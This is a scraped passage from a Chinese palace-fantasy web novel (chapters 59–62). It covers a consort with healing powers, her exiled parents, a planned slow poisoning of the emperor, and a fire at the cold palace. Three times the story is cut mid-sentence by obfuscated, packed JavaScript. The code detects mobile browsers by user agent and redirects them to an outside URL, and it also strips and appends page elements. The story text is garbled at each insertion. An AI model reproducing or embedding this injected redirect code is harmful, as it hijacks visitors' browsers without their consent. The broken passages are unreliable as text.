姜念虞捏住他的下巴,迫使他抬起头来,“想杀我?就凭你?” 轻蔑地扫过他的腿。 顺王:啊啊啊!这个女人太可恶了!他一定要杀了她! 然而片刻后,怨恨阴郁的顺王,却因为姜念虞的按摩治疗,而变成了一只柔顺小狗,还因为过于舒适而发出了呻-吟声。 他自己都感到不可置信,震惊又羞耻地捂住了脸。 姜念虞收回手,“好了,今天的治疗结束了。” 太后见她从屋子里出来,忙迎上去,“虞,余大夫,怎么样了?” 姜念虞:“顺王的伤势积压多年,治起来有些麻烦……” 听到这里,太后一颗心沉了下去,然而紧接着却听她说:“至少需要连着治疗五日才能痊愈。” 这前后的大转折,搞得太后心脏怦怦跳,“余神医,当真?五日后顺王就能好了?就能重新站起来了?” 姜念虞点头:“不错。” 屋子里,顺王也听见了“余神医”的话,他忍不住摸了摸自己的腿,方才她给他按摩时他就已经有一些知觉了,只是那时候他还不敢相信,以为是错觉。 然而现在他听见了什么? 五日后他就能好了?! 接连五日的治疗后,顺王的腿痊愈了,可以下地了。 不过因为长时间没有走动,他的双腿已经萎缩,需要人扶着才能艰难地挪动步子。 每走一步,双腿就针扎般地疼,像是走在刀山上。 但顺王依旧狂喜,他的腿好了!他可以重新走路了!他能够重新站在阳光下,不用再被人异样地看待了! 姜念虞也收获不小,因着跟顺王的长时间接触,她的异能再次升级,如今已经是五阶了。 分分钟能催生出一棵桃树来。 不会再像之前那么吃力了。 另一边,太后也颇为给力,在她的介入下,李淳没能将“通敌卖国”这顶大黑锅扣在姜赦头上。 ——那封所谓的姜赦通敌卖国的信件,乍一看与姜赦的字迹一模一样,但其中的“的”字写法,却与姜赦平日里的写法截然不同。 太后的人用这一点提出了质疑,并且找来了擅长模仿笔迹的人,当场模仿姜赦的笔迹写字,证明了模仿姜赦笔迹写信的可操作性,提出姜赦很可能是被人冤枉的。 而幕后之人,很可能是北周,为的就是挑起大齐的内乱。 太后建议深入调查下去,不可轻易就用一封信来给姜赦定罪。 然而查来查去,线索却中断了。 “砰!砰!砰!” 保和殿侧殿,李淳拿着一把剑,疯狂劈砍着木头人。 太后!这个贱人,又坏了他的好事! 她怎么会帮姜赦? 以杨家的立场来看,明明姜赦的倒台对她们更有利才对。 该死!该死!该死! “当啷!”木头人的脑袋,被他硬生生砍了下来,砸落在地。 李淳拄着剑,气喘吁吁地盯着那个木头脑袋,神情阴鸷。 有太后在一旁盯着,再查下去,说不定就查到他自己身上来了。 不能再继续往下查了。 不过没关系,既然治不了姜赦通敌卖国之罪,那便治他一个结党营私、收受贿赂之罪。 夺了他的官职,再将他流放。 流放途中危险重重,死在半道上也很正常吧? 京城,城外十里长亭。 姜念虞坐在亭中,远远地看见一行人走过来。 戴着镣铐身穿囚服的姜赦,和双手被绑同样囚服加身的姜夫人虞婉儿,被四名官差押送着前往流放之地。 待她们走近了,夏桃上前拦住了一行人,往为首的官差手里塞了包银子。 “官差大哥,我们娘娘想跟姜老爷虞娘子说会儿话,送别一番,还请几位大哥行个方便。” 为首的官差掂了掂手里的银子,朝亭中的德妃娘娘看了眼,想到姜家还有个皇子外孙,以后未尝没有重新起复的可能,便点了点头:“行吧,不过最多只有一炷香(一刻钟)的时间,抓紧点儿啊。” 夏桃:“多谢官差大哥。” 石永竹和春樱已经上前,搀扶着姜赦夫妻去了亭中。 “爹,娘。”姜念虞迎上前,扶着两人坐下,又端来水喂她们,“快喝口水。” 两人的嘴巴都干得起皮了。 夫妻俩想说话,姜念虞却没给她们机会,紧接着又打开食盒,端出饭菜来喂她们吃,“时间紧,快吃吧。” 夫妻俩都忍不住落了泪,石永竹忙拿出帕子给姜赦擦泪,春樱则给虞婉儿擦。 夏桃将另一个食盒打开,从里头拿出一个小蛋糕,“姜老爷,这是娘娘特意给您做的,说是那天您没能吃上生日蛋糕,今天得给您补上。” 姜赦哽咽难言:“岁岁……” 姜念虞:“爹,我知道您很感动,但是您先别动,来,喝勺汤。” 又喂虞婉儿吃了口饭,“娘,等您生日那天,我也给您做一个蛋糕,所以您不用嫉妒爹。” 虞婉儿没好气地嗔了她一眼,“谁嫉妒你爹了,他一个糟老头子,我有啥好嫉妒的。” 姜赦:“岁岁,你看你娘,我不过是在牢里待了几天,她就嫌弃我了。” 姜念虞看夫妻俩还能斗嘴,心情不由松快了些。 给两人喂了饭和蛋糕,她又拿出两个腰包来,给两人介绍着:“这是我让春樱用鱼皮缝制的腰包,防水防污,可以扣在腰上,藏在衣服底下,不显山不露水,看着小,但其实可能装了。” 这个鱼皮,正是她之前从皇宫宝库里拿出来的鱼龙皮,她叫人缝制成了衣服。 想到姜赦夫妻一路从京城到流放之地,身上没点傍身的东西可不行,于是叫春樱将鱼皮衣服拆了,重新缝成了两个腰包。 她将其中一个腰包打开,给两人展示了一番。 “我偶然得了两样稀奇的种子,一名凤枣,一名珍珠豆,种下后,前两天正好结了果子。这里头装的是凤枣,它虽是水果,吃起来却有肉味,而且很饱腹,吃一颗能管一天呢,你们在路上饿了就拿出来吃。 “这里头装的是珍珠豆,吃起来软软弹弹的,水分很充足,有一股奶香味,可以解渴。 “这里头装的是金叶子,出门在外手里总得有银钱傍身,这里头是一把小梳子、挖耳勺、小剪子、针线……” 这些虽然都是些不起眼的小东西,但要是生活中没了它们,会有很多不便。 夫妻俩听着女儿给她们用心准备的各种东西,愈发控制不住眼泪了。 介绍完,姜念虞将两个腰包分别给夫妻俩扣在腰上,再用宽大的囚服遮住。 接着,她打了个呼哨,一只红色的鸟儿飞进了亭子,落在了她肩头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575352|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正是小红。 如今它已经长到巴掌大了,身形修长了些,不再胖得跟个球似的,虽然依旧很胖就是了。 姜念虞给它喂了颗珍珠豆,“小红,这是外祖父、外祖母,你记下她们的气味,以后替我送信给她们,好不好?” 小红绕着夫妻俩飞了一圈,“叽叽”两声,表示已经记下这两个人类的气味了。 姜念虞:“爹,娘,小红已经记下你们的气味了,以后我会时不时让小红给你们送信,你们缺了什么就跟我说,我想法子叫人送去。 “对了,我还雇了一队护卫护送你们,那些护卫扮成了送货的镖人,会一路跟着你们,直到你们安全抵达肃州。” 肃州,就是两人被流放的地方。 时间到了,官差重新押着夫妻俩上路,姜念虞跟了几步,直冲她们挥手。 “爹,娘,你们放心,我会照顾好晟儿的。” 夫妻俩潸然泪下。 虞婉儿回头,“岁岁,快回去吧,你也要照顾好你自己。” 姜赦仰头看了看天,将眼泪逼了回去。 回宫后,姜念虞从林鹤这里得知了一个消息。 “皇上命卑职率人扮成山匪,截杀姜相和姜夫人。” 姜念虞怒从心起,深吸一口气:“林鹤,你想离开皇宫,摆脱皇帝的控制,获得自由吗?” 出乎她的意料,林鹤竟摇了摇头:“娘娘在哪儿,卑职就在哪儿。” 姜念虞:“你出了宫,才能更好地帮我办事,若是你继续待在宫里,将来皇帝让你杀了我,你怎么做?” 林鹤:“我绝不会对娘娘动手。娘娘想让我出宫,我便出宫。” 姜念虞:“出宫后,你假装执行皇帝的命令,然后找机会假死脱身。不过在你出宫之前,我得彻底将你治好。” 秘密谈话后,林鹤退了下去。 姜念虞让石永竹去请皇帝来吃瓜,寿宴上出现的西瓜。 一听有西瓜吃,李淳就来了。 他一个人就干掉了半个冰镇西瓜。 姜念虞又殷勤小意地道:“嫔妾给您揉揉脑袋。” 李淳在榻上躺下了,心想没了姜家做靠山,原先敢跟他呛声的德妃也变得温柔小意起来了。 女子就该这般以夫为天才是。 看在她这么识趣的份上,他也不是不能让她保留妃位的尊荣,继续做她的德妃娘娘。 姜念虞给他按揉了起来。 不一会儿,李淳就睡着了,呼吸变得均匀。 姜念虞冷眼看着他,手上的动作并未停下。 等到接触的时间足够了,她的异能顺理成章地升到了六阶。 原本她是没打算利用李淳来升级异能的,触碰他让她恶心,但是只有异能达到六阶,她才能让人断肢重生,才能治好林鹤。 她扒拉了一遍那些还没有长时间接触的异能血包,唯有李淳比较容易接近,她只好朝他下手了。 异能一升级,她就收回了手,到盆边洗了好几遍。 是夜,姜念虞将林鹤召来房中,彻底治好了他,令他被阉割掉的肢体重新长了出来。 末了又交给他一瓶药,这是她自个儿搓出来的异能药丸,不管是受伤了还是流血了,吃一颗就能好上许多。 “丽嫔这里你不用担心,我会替你照看她的。去吧,以后有事我会通过小红联系你。” 60. 第60章 早饭过后,姜念虞送晟儿去上学。 晟儿问她:“姨母,林鹤呢?” 姜念虞:“他被你父皇派去办事了。” 晟儿:“那他什么时候回来?” 姜念虞故作吃醋道:“难道姨母送你上学不好吗?晟儿怎么一直惦记着他呀?” 晟儿忙摆着小手:“没有没有,晟儿最喜欢姨母了,姨母送晟儿上学,晟儿好开心。”不再提起林鹤了。 姜念虞松了口气,林鹤这一去,是不会再回来了,但她不可能告诉晟儿实情,也不想对他撒谎,就只能糊弄过去了。 刚回来,黄鹂过来了,说是太后请她过去一趟。 姜念虞来到慈宁宫,太后拉着她在炕上坐下,将宫人都遣退了。 “虞丫头,我想向你求一样东西。” 姜念虞:“太后您这话可是折煞我了,您想要什么,嫔妾若是有,定然双手奉上,您何必说求字呢?” 太后:“那我也不跟你绕弯子了,我想要一味毒药,一种无色无味,能令人慢慢死去的毒药,发作时的症状最好跟生病的症状一样,让太医看不出端倪来。” 姜念虞:太后这是打算对李淳下毒手了? 也是,李淳先前对太后下毒,太后不报复他才怪。 现在太后的儿子,顺王被她治好了,但外界都不知道,若是李淳在这个时候死了的话,那皇位理所当然就落到了顺王头上。 太后这是一箭双雕,既报了仇出了气,也能让儿子坐上皇位。 姜念虞迟疑着:“太后娘娘,不知您要这毒,是打算……” 太后深深看着她,“虞丫头,你是个聪明孩子,想必已经猜出来了,你放心,事成之后,我绝不会亏待你的,待我儿坐上那个位置,你就是母仪天下的皇后。” 姜念虞低下头,装作沉思的样子,过了会儿仿佛下定了决心:“制作这味毒药需要点时间,您可否容我些日子?” 她没法杀死李淳,那就借着别人的手来杀。 只不过这种毒药,她自己可配不出来,得找别人帮忙才行。 太后拍了拍她的手:“无妨,我不急。” 回到未央宫,姜念虞收到了李玄璋的飞鸽传书。 “姐姐,姜相的事我已知晓,我会将此事查个水落石出,还姜相清白。姐姐在宫里要多加小心。” 姜念虞将信纸烧掉,不留一点痕迹。 而后给他回信:“不用查了,这件事就是李淳干的,他想诬陷我爹通敌卖国好除掉我爹,我找了太后,跟她做了个交易——我治好顺王,她保下我爹。 “李淳的阴谋没能得逞,但他还是判了我爹一个‘结党营私、收受贿赂’的罪名,把我爹流放了,我娘也跟着受了牵连。 “不过他也得意不了多久了,太后找我要毒药想毒死他,然后扶持顺王登基,你能弄到那种无色无味、令人不知不觉死去的毒药吗?” 姜念虞将信纸卷成条,塞进细竹管里,绑在鸽子腿上,给鸽子喂了点异能。 吸收了几次异能后,这只黑色的鸽子明显变聪明了许多,一双黑豆般的眼睛亮晶晶的,闪烁着灵性的光芒。 接着她又给它喂了几颗珍珠豆,鸽子吃饱后,亲昵地蹭了蹭她的手。 “去吧。” 黑鸽展翅飞到了空中,眨眼间就去得远了,速度比之前显然有了很大的提升。 几天后,姜念虞收到了李玄璋的回信,并一瓶毒药,药名百日醉,可在人体内蛰伏一百天,发作时人像是喝醉了一般,而后昏睡过去,只不过这一睡,就再也醒不过来了。 姜念虞将毒药交给了太后。 谁知太后又将毒药推了回来,“虞丫头,你是大夫,想来比我更懂得如何下毒,不如这毒药就由你来下?” 姜念虞心头一沉,她想借太后的手杀死李淳,结果太后和她想的一样,也想借刀杀人。 若是事情成了,太后和顺王就能达成所愿,到时候她们还是否会履行对她的承诺,那就要看她们的良心了。 若是事情败了,太后就能顺理成章地将锅推到她头上。 太后真是打得好算盘呀。 先前她们没有利益纠葛的时候,太后对她是何等的亲切慈爱,对她像是对着亲近的小辈一般。 如今在莫大的利益和风险面前,太后就要把她推出去了。 姜念虞跪了下来,“太后娘娘,您就莫要为难嫔妾了,嫔妾只懂得如何救人,如何敢杀人呢?” 太后定定地看了她半晌,而后又恢复了从前的温和慈爱,伸手将她拉了起来。 “这是做什么?快起来,地上凉。哀家不过是跟你开个玩笑罢了,哪里就真的要你去做这种事呢,你未来可是要母仪天下的。” 从慈宁宫出来,姜念虞看了看天。 已经入秋了,但天气依然很炎热,蔚蓝的天空上漂浮着大片大片洁白的云朵,像棉花糖一样,有种美味的美感。 这一次,太后能否成功呢? 若是成功了,那太后必然要扶持顺王登上皇位,太后和顺王都不是善茬,很可能会斩草除根,将李淳的子嗣都斩杀殆尽。 二皇子李昌有一半杨家的血脉,或许能够活下来,但晟儿就不一定了。 她必须要提前做好准备。 而若是太后的下毒计划失败了,有两种结果—— 一种是李淳并不知情,太后继续想法子弄死李淳。 另一种,李淳知道了,然而也想法子弄死太后。 不管哪一种,她们自斗她们的去,她需要做的,就是不断提升实力,一力破万法,等她异能提升到九阶,便是面对万人军队也能带着晟儿从容离去。 大不了,她就带着晟儿去找姜赦夫妻,带上她们占山为王,自成一国。 “我有些不舒服,夏桃,你去请赤心大夫来给我看看。” 回到宫里,姜念虞吩咐夏桃。 先前她治好墨春后拿了赏赐出宫了,赤心却是被李淳给留了下来。 宫中藏书阁有不少外头难得一见的孤本珍本医书,赤心想借阅一番,便顺势留了下来。 夏桃去了一趟,回来禀报道:“娘娘,赤心大夫不在太医院,我问了伺候的宫人,宫人说赤心大夫时常会去藏书阁,一待就是一整日,于是我又去了藏书阁,却也没见着赤心大夫的人。” 姜念虞琢磨着,赤心会去哪儿呢? 皇宫这么大,若是不知一个人的确切位置,找起来可得费工夫,而且她身为后妃,若是大张旗鼓地找一个外男,即便那外男是一个大夫,传出去也不好听。 “罢了,你明日再过去一趟吧。” 夏桃:“娘娘,要不我去太医院将陆太医请来吧。” 姜念虞:“不用了,我就是肚子有些胀,想来是吃的东西过于杂了,并无大碍。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581933|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏桃打趣道:“那您为何偏要请赤心大夫来呢?” 姜念虞朝她丢了个核桃,“我这不是好奇嘛,大名鼎鼎的神医谷的人,进宫这么些时日了,我还没见过真人,不得找个借口请过来瞧瞧?” 夏桃做出夸张的恍然表情,“原来如此,娘娘放心,我明日早早就去太医院候着,保证将赤心大夫给您请来,让您一睹他的真容。” 两人正说笑着,玄猫跑了进来,冲姜念虞叫唤了一声,转身往外跑。 跑了两步回头看姜念虞一眼,见她没跟上来,又冲她叫唤了一声。 这回姜念虞懂了,“咪咪,你是要我跟你走吗?” 玄猫:“啊~” 姜念虞跟在玄猫身后,来到了冷宫,一个助跑,蹬着墙就上去了,很轻松地翻了过去。 玄猫自不用说,从门缝里嗖一下就钻进去了。 一人一猫在墙内汇合。 “少主,你看,我没骗你吧?这里的草药都长得特别好,人参都有我手臂粗了,还有这个枸杞,这么大一棵,上面的枸杞子都能收一麻袋了。 “哇,这里居然还有茯苓,茯苓不是只能长在松树下吗?这里居然有这么大一片……” 青翼在药田里来回蹦跶,像一只窜进了瓜田里的猹,兴奋得不行。 赤心站在药田边上,拢着袖口,“青翼你先出来,别把药材踩坏了,这些药材长得这么规整,必然是有人特意种下的,并非野生。” 青翼听话地走了出来,“少主,你说这些药材是谁种的啊?居然在冷宫里种草药,这些草药还个个都长得这么好……” 话未说完,蓦地转过头去:“谁?出来!” 姜念虞从墙角走出来。 青翼狐疑地盯着她:“你是谁?鬼鬼祟祟地藏在那里做什么?” 姜念虞笑了:“这话应该我问你们才对吧?你们闯进我的地盘,在我的药田里窜来窜去的,想做什么?不会是想偷我的药材吧?” 青翼吃了一惊:“这些草药是你种的?” 姜念虞哼了一声,“不然呢?你以为它们是凭空长出来的不成?” 青翼气恼:“你这女人,就不能好好说话吗?我又没得罪你。” 姜念虞忽然问他:“你知道我是谁吗?” 青翼:“你是谁?” 姜念虞吐出两字:“德妃。” 青翼反应了下,瞪大了眼睛看着她,旁边赤心已经躬身行礼了:“草民见过德妃娘娘。” 姜念虞瞥了青翼一眼,“你家少主比你可要机灵多了。” 青翼愤愤,但碍于她的身份,不敢再跟她顶罪了,小声嘟哝了句什么。 姜念虞猜到他肯定是在骂自己,只当没听见,对赤心道:“这些草药是我偷偷种下的,还望你不要说出去。” 青翼可算找到机会了,没好气道:“我家少主凭什么替你保秘?” 赤心不赞同地看了他一眼:“青翼,不许对娘娘无礼。” 青翼生气了,转身走到石桌旁,背对着两人一屁股坐了下来。 姜念虞:“赤心,我们到里面去谈谈。” 又对玄猫道:“咪咪,帮我看着那个人,别让他偷听。” 玄猫:“嗷~” 青翼炸毛,“少主别去,要是她对你不利怎么办?” 赤心给了他一个安心的眼神,“青翼,不用担心,你好好守在外面。” 61. 第61章 保和殿。 侍茶宫女端了一盏新泡好的茶进殿,轻轻放在李淳手边。 李淳端起来,正要喝,墨春进来禀报道:“皇上,方才德妃娘娘独自去了冷宫,而在她之前,神农谷的两人也去了冷宫。” 李淳将茶盏重重搁下,里头的水溅出来了几滴,“可算叫朕抓住了她的现行。你带人将冷宫围起来,记住,一只苍蝇都不许放跑。” 那一次,他借着让李玄璋迁宫,让人将冷宫仔细搜了一遍,但没有任何收获,只找到了一条早已废弃的密道,里头蛛网密布,前路堵死,可见早就已经没有使用了。 怕是李玄璋故意让他发现的。 之后,他便派人一直在暗中盯着冷宫,注意着冷宫的动向。 但暗卫始终没有什么发现。 前阵子他忽然意识到,那些暗卫不会早就被李玄璋给收买了吧? 一审讯,他们果然已经背叛了他! 将这一批暗卫处决后,他立马换了一批,继续盯着冷宫,这一次,终于有了收获。 德妃啊德妃,你可不要让我失望。 李淳离开后,侍茶宫女将桌案上的茶盏收走了,桌上溅落的几滴茶水也擦拭得干干净净,一点痕迹也不留。 李淳来到冷宫,此时冷宫外面已经被禁卫军围得水泄不通。 冷宫大门被打开,李淳看着里头的情景,不禁吃了一惊。 院子里杂草丛生,长得比人还高,俨然一片杂草丛林,连个下脚的地方都没有。 草丛里传来阵阵窸窣的动静,似乎是小动物被开门的动静惊吓到,四散逃窜。 李淳看到一只兔子一闪而过。 冷宫何时荒成这样了?德妃是怎么进去的? “来人,将这些杂草清理掉。” 一队禁卫军走了进去,将腰间的剑解下来当做镰刀使用,割起了杂草。 然而割了没一会儿,一个禁卫军忽然见鬼似的大叫一声,“别过来!” 挥剑朝着旁边的同僚砍了过去。 那同僚下意识抬剑抵御。 与此同时,还有几个禁军也像是魔障了般,忽然对着身边的同僚大肆攻击,像是将他们当成了敌人。 转眼间一队禁军杀成了一团。 不一会儿就有人倒了下去,地上鲜血流淌。 李淳惊疑不定地看着这一幕,“你们在做什么!都给朕住手!” 然而那些禁军像是没听到一般,打得更凶了。 “快,进去阻止他们。”李淳下令。 然而其余禁军却是迟疑着不敢踏进去。 他们看着冷宫的眼神透着惊恐。 先前那些禁军明明好好的,进了冷宫不一会儿就疯了般互相残杀起来,这怕不是被里头的鬼给蒙了眼迷了心吧? 早就听说冷宫邪门,里面闹鬼的传说层出不穷,先前他们还将信将疑,这会儿亲眼所见,不由得彻底信了! 这冷宫,进不得啊! “怎么,你们敢违抗朕的命令?”李淳沉声道。 墨春颤抖着指向他的身后,“皇,皇上,他们都死了。” 李淳蓦地转身,就见刚才还在互相攻击的禁卫军,这会儿全都已经倒在了地上,成了尸体! 鲜血流了一地,将那些被清理的杂草都染红了,翠绿的叶片上鲜血淋漓,瞧着实在触目惊心。 李淳只觉一股寒气从脚底窜了上来。 这到底是怎么回事? 难道真是厉鬼做的? 那先前进去的德妃和赤心她们怎么样了?还活着吗? 如果不是厉鬼做的,那又会是谁? 李玄璋?不,他已经被自己发配到了遥远的蜀州,不可能在这里装神弄鬼。 那是德妃? 他算是发现了,不管什么事,只要跟德妃沾染上了,就会变得邪门诡异起来,事情的发展会远远超出他的预料。 但来都来了,他今日非要瞧个究竟不可! “放火,将这些杂草烧了。” 数根火把被丢进了杂草丛中,天干物燥,草丛很快就燃烧起来,阵阵青烟升腾。 火势一旦起来,再想灭掉就难了。 最后这场火烧了半天,不仅把前院的杂草烧没了,整座冷宫都被烧得面目全非,只剩下一片黑黢黢的断壁残垣。 李淳站在仅剩的宫墙外,看着里面的那一片废墟,脸色阴沉无比。 “进去搜。” 禁卫军也不知道要搜什么,不过还是立刻听命冲了进去。 这里看看,那里敲敲。 最后啥也没搜出来。 没有尸体,没有密道入口…… 李淳破大防了,死了那么多人,花了这么长时间,结果什么也没得到? 他恨恨地一脚踹出去,原本被烈火炙烤得松垮的宫墙,一下子就倒塌了,轰然落下,差点将他埋了进去。 弄得灰头土脸的李淳满肚子气回到保和殿,命墨春去打探一下德妃和赤心的消息。 冷宫里没找到这两人的尸体,那她们去了哪儿? 墨春回来禀报:“皇上,赤心大夫被德妃娘娘召去了未央宫,在给德妃娘娘针灸。” 全身浸泡在浴桶中的李淳:“什么?她们还活着?” 这两人是怎么从他眼皮子底下消失的? 盯着眼前的屏风,李淳重重拍打了一下水面,结果水花溅到了眼睛里,又受了一番罪。 未央宫。 头上扎满了银针的姜念虞,和正准备下针的赤心对视一眼,交流了一个心照不宣的眼神。 却说之前在冷宫,姜念虞要跟赤心单独交谈,两人进了屋后,姜念虞就拿出了“余岁”的易容-面具戴在了脸上,当场向赤心爆了马。 而后提出跟他交易——她治好他的先天不足之症,他则答应她一件事,至于是什么事,她暂时还没想好。 “当然,我不会叫你为难。” 赤心同意了。 姜念虞让他盘腿坐下来,她则坐在他对面,与他双手掌心相贴,一面往他体内输送异能,一面跟他瞎掰。 “正所谓大道至简,我的治疗手法正符合了这一点,简单至极,既不用药,也不用施针,而只需要将体内的‘真气’输入患者体内就行。 “你可知我体内的真气从何而来?我体质特殊,修炼出来的内力具备疗愈之效,与旁人的内力大不相同,我便将这股异于常人的内力称为‘真气’。 “它能温养人的经脉,打通人体内淤堵的关窍,窍通则气通,气通则百病全消。” 赤心细一想,觉得颇有道理,最主要的是,当那股真气输入体内时,他便真切地感觉浑身的毛孔都被打开了,体内的浊气排出,通身说不出的畅快清凉。 身体不再是封闭的状态,而仿佛变成了一个透明的泡泡,与天地,与自然融为了一体。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603326|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >屋外,青翼待得无聊,便跟猫玩儿了起来。 他用杂草编了个球,丢出去,玄猫叼回来,丢出去,玄猫又叼回来…… 忽然,他听见外面传来一阵动静,似乎是兵甲互相碰撞的声音,立刻警醒,飞身来到屋顶上,往外一望。 整个冷宫居然都被禁卫军围了起来! “少主,不好了,冷宫被围了!” 屋里,不知不觉陷入似睡非睡状态的赤心,闻言蓦地醒过来,睁开了眼睛。 姜念虞也中断了治疗。 发现冷宫果真被围后,她立刻猜到,这很可能是冲着自己来的。 当即对赤心二人道:“快,将地里的药材都收了,我去前面阻止那些人进来。” 来到前院,她随手抛撒下一把曼陀罗花种,而后素手一挥,曼陀罗花和那些杂草瞬间疯长,都快有宫墙高了。 曼陀罗花本就有致幻的效果,而经由她异能催生的曼陀罗花,致幻效果愈发强烈,但凡那些禁军踏进来,就会不由自主地吸入花粉,陷入幻觉之中。 不过这些杂草和曼陀罗花也只能抵挡得了一时,趁着这个时间,她得尽快将后院的草药都收了。 草药收到一半,前院的火蔓延过来,不多时,整座前殿也陷入了大火之中。 药田里还剩下一些药草,但姜念虞已经顾不得了,将药材藏进一间地下密室后,就赶紧带着赤心二人还有玄猫从密道离开。 从密道出来,几人一猫已经来到了御花园的一座假山内。 姜念虞先行出来,假装在花园里逛了逛,而后回了宫。 赤心二人则回了太医院。 随后,姜念虞装作不舒服,派人将赤心请过来给自己看诊。 做戏做全套,赤心索性给姜念虞施了一回针,保健疗养的那种。 李淳沐浴后杀到了未央宫,见两人一派正经治病的样子,即便满心怀疑,却也拿不出证据来。 “德妃身子一向康健,今日怎么病了?” 姜念虞没作声,赤心替她回答:“皇上,德妃娘娘近日伤心过度,情志受损,郁结于心,故而病倒了,此乃心病。” 至于为何得了心病,在场的人都心知肚明。 李淳想起被自己流放的姜赦夫妇,脸色一僵,不好再说什么。 晚上,姜念虞躺在床上,体内运转着异能,白天与赤心接触了足够长的时间,她的异能成功突破到了七阶! 这是她前世没有到达的高度。 识海中的异能源种,体积大了好几圈,如同一颗璀璨的太阳,蕴含着无尽的蓬勃的生命力量。 她有种感觉,自己心念一动,便能令方圆百里内的植物听她号令。 不过未免引起轰动,她克制住了想尝试一下的冲动,一遍遍运转着异能,想让自己平静下来。 然而刚升级的她,体内的木系异能正处于最充足旺盛的时候,运行时难免有一些能量从体内溢散而出。 屋中摆放的盆栽以及花瓶里插的花,都努力伸展着枝叶和花瓣,想方设法地离她近一点,好抢夺那微弱的能量。 昏暗中,它们仿佛朝向太阳的向日葵,齐刷刷对着她,在吸收了木系异能后,根系疯长,枝叶蓬勃,花朵盛开…… 须臾间,整个屋子就被植物占领了,它们包围着她,枝叶簌簌而动,像是在歌唱。 若是有人看到这一幕,惊吓的同时定然也会感到震撼和惊艳。 62. 第62章 保和殿。 李淳即将入睡时,墨春神色凝重地进来了,向他禀报道:“皇上,茶水房的彩蝶有问题。” 李淳眼神示意他讲下去。 墨春:“上午彩蝶给您泡了一盏茶,您没来得及喝就去了冷宫,彩蝶将茶盏收走,倒掉了里面的茶水。” 李淳疑惑,没听出这哪里有什么不对。 墨春进一步给他解释:“皇上,您平日所用皆为上品,别说是您还没喝过的茶水,就算您已经喝过了,剩下的茶叶,底下的人也舍不得倒掉,而是会收集起来重新晒干拿来泡茶喝,或者拿到宫外卖掉换钱。” 不只是皇帝,宫里其余主子宫里伺候的宫人,也都是这样做的,这是宫里下人之间的一个潜规则。 毕竟主子的衣食用度不是底下的宫人能比的,能够捡主子用剩下的东西,对宫人来说是,既是一种实惠,也是一种恩宠。 李淳还真不知道这一点,“这些狗奴才,竟敢背着朕将朕用过的东西拿到宫外换钱。” 一想到他用过的器物,穿过的衣裳,吃过喝过的东西流落到民间,被不知道什么人买下来,用上穿上吃上,他就一阵膈应。 不过现在不是追究这个的时候,他已经反应过来墨春这番话的重点了。 “彩蝶以往都会将朕喝过的茶水中的茶叶留下,这一回却将没喝过的茶水连同茶叶一块儿倒掉,难不成那茶水有毒?” 除了这个,他想不出还有别的可能了。 重生以来他到底成长了许多,这一次得知有人给自己下毒,他竟然并未发怒,只沉沉道:“你带人将彩蝶抓起来,仔细审问,看看她背后的人到底是谁。” 彩蝶一个宫女,疯了才会给他下毒,必然是有人指使的。 墨春下去办事了。 李淳靠坐在床边,拿了本书看着。 没看两页,墨春回来了,“皇上,彩蝶咬舌自尽了。” 李淳皱眉,想出声呵斥,这种简单的事都没办好,竟然让最关键的人自杀了,但思及墨春前不久才替他挡了剑,险些丧命,就将到嘴的话咽了下去。 墨春紧接着又道:“不过我在她的住处发现了一包药粉。” 李淳当即召见了太医,来分辨这药粉到底是什么。 这一回太医总算没掉链子,认出了这药粉是何物。 “回禀皇上,此乃百日醉,是一种慢性毒药,服下后一百天后才会发作,发作时人如同喝醉酒一般,一旦睡过去,就再也醒不过来了。” 李淳将手里的书狠狠砸在了地上,殿内一群人纷纷跪倒。 “行了,你们下去吧,这件事烂在肚子里,一字都不得外传,记住了吗?” 众人:“是,皇上。” 没了外人,李淳泄气般往床上一倒,盯着明黄色的帐顶,幕后之人会是谁? 李玄璋?太后?还是德妃? 应当不是李玄璋,他若是要给他下毒,早就下了,不会等到现在,况且李玄璋被他“嫁”出去后,他就将宫里上上下下都排查了一遍,揪出了不少他布下的钉子。 彩蝶不会是他的人。 太后?倒是很有可能,自己一旦死了,太后就能从宗室里扶持一个傀儡皇帝登基,到时候她就能垂帘听政,独揽大权。 至于德妃,也有可能,她因为自己将她爹娘流放而恨上自己,于是买通宫女对自己下毒。 而自己死了,身为嫡子的李晟有很大的机会坐上皇位,到时她就能通过李晟来揽权干政,将姜赦从边境放回来。 最毒妇人心,这两个女人,都不是善茬。 如今李玄璋不在宫中,德妃不足为虑,那就先将太后给除掉。 若是先对付德妃,保不准太后又出来横插一脚。 翌日,李淳微服出宫,去了金莲寺,与空明讨论佛法。 禅房中,李淳与空明相对而坐,中间隔着一张小几。 墨春和戴秉承守在门口,暗中还有暗卫。 